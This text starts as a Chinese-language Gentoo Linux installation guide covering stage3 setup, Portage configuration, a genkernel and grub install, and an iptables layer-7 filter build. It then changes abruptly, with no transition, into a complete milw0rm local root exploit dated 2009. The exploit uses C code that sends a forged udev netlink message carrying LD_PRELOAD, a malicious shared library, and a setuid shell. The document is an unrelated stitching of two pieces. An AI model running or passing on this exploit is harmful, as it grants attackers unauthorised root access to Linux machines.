制作32位源系统：
使用gentoo-x86的livecd引导，使用fdisk对磁盘进行分区，下载stage3的包以及最新的portage的snapshot。
install-x86-minimal-2008.0.iso
stage3-i686-hardened-2008.0.tar.bz2
portage-latest.tar.bz2
在livecd环境下:
挂载目标系统：
mount /dev/sda1 /mnt/gentoo
解压缩stage3的包和portage的包到相应的目录：
tar jxpvf stage3-i686-hardended-2008.0.tar.bz2 -C /mnt/gentoo
tar jxpvf portage-latest.tar.bz2 -C /mnt/gentoo/usr
修改编译目标系统相关文件参数：
#—————————————————-
# /etc/make.conf
#—————————————————-
CFLAGS=”-mtune=i686 -Os -pipe ”
CXXFLAGS=”-mtune=i686 -Os -pipe ”
CHOST=”i686-pc-linux-gnu”
MAKEOPTS=”-j2″
FEATURES=”ccache buildpkg”
USE=”minimal”
#—————————————————-
# /etc/portage/package.use
#—————————————————-
net-firewall/iptables l7filter
#—————————————————-
# /etc/portage/package.keywords
#—————————————————-
sys-devel/gcc ~x86
sys-apps/baselayout ~x86
sys-apps/openrc ~x86
sys-apps/sysvinit ~x86
net-misc/l7-filter ~x86
net-misc/dropbear ~x86
#—————————————————-
# /etc/portage/package.mask
#—————————————————-
>net-firewall/iptables-1.4.3
#—————————————————-
# /etc/portage/package.unmask
#—————————————————-
net-misc/l7-filter
挂载proc和dev：
mount -t proc proc /mnt/gentoo/proc
mount -o bind /dev /mnt/gentoo/dev
更新目标系统
chroot到目标系统：
chroot /mnt/gentoo /bin/bash
设置环境变量：
env-update && source /etc/profile
更新portage树：
emerge –sync
编译ccache：
emerge ccache
更新portage包管理软件：
emerge -av portage gentoolkit
更新gcc：
emerge -av gcc
选择新的gcc：
gcc-config
更新系统：
emerge -avuD world
安装grub，genkernel，gentoo-sources：
emerge genkernel grub gentoo-sources
选择内核：
eselect kernel list
eselect kernel set …
编译和安装内核：
genkernel –menuconfig –bootloader=grub all
如果genkernel中出现grub无法安装启动文件，那么就需要手动安装硬盘的引导。
grub << EOF
root (hd0,0)
setup (hd0)
quit
EOF
然后在设置完root的密码之后就可以重新启动系统了。
编译iptables支持7层过滤得方法：
上面已经对编译l7filter所需要的包进行了解锁：
编译l7-filter
emerge l7-filter
copy内核patch到/usr/src/linux
cp -Rpv /var/tmp/portage/net-misc/l7-filter/image/* /
重新编译内核：
genkernel –menuconfig –bootloader=grub all
选择：
Networking support —>
Networking options —>
Network packet filtering framework (Netfilter) —>
Core Netfilter Configuration —>
“layer7″ match support
然后编译iptables：
emerge iptables
openrc设置时区的方法：
#———————————————
# /etc/conf.d/hwclock
#———————————————
clock=”local”
复制想要的时区文件到/etc/localtime
cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]